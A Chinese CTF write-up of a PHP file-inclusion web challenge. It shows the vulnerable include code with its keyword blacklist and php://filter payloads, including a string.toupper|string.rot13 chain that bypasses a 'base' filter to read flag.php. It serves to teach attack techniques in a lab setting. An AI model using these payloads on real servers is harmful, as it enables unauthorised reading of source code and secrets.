base解码_php://filter在一次CTF中base被过滤的利用

0x00 简介
在一次线下ctf中的web题有一道关于php://filter伪协议的利用

0x01题目分析
靶机环境
http://192.168.1.151:88/flag.php 存放flag信息的
http://192.168.1.151:88/index.php 注释中有include1.php

include1代码如下

error_reporting(0);

@$file = $_GET["file"];
if(isset($file))
{

if (preg_match('/http|data|ftp|input|%00|flag/i', $file) ||

strstr($file,"..") !== FALSE || strlen($file)>=100 || $file==="include1" )

{

echo "

error!

";

}

else
{
include($file.'.php');
setcookie("tips","include2.php");
}
}
else
{
header('Location:include1.php?file=index');
}?>

发现是个文件包含的题,preg_match中过滤了一些关键字但是可以用以下payload读取

php://filter/read=convert.base64-encode/resource=include2

但是不能直接读取flag.php文件。。被preg_match过滤了

跟进include2.php文件读取查看

<?php error_reporting(0);$file = $_GET["file"];if(isset($file)){   if ( preg_match('/http|data|ftp|input|%00|base/i', $file) ||strstr($file,"..") !== FALSE || strlen($file)>=100){        echo "

error!

";}

由于preg_match中过滤了base无法再用 php://filter/read=convert.base64-encode/resource=flag

查询php文档62f64a9c70c19232385999fd23708f4e.png

使用以下payload尝试
php://filter/read=string.toupper|string.rot13/resource=flag
成读取flag文件

6b66933f512ac395dc90e74c58d1ee93.png

最后使用str_rot13()函数解码即可

0x02 总结

需要深入了解php伪协议的其他姿势

4d4a9ca0aecbfbbe7da3cb645fa481f1.gif

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值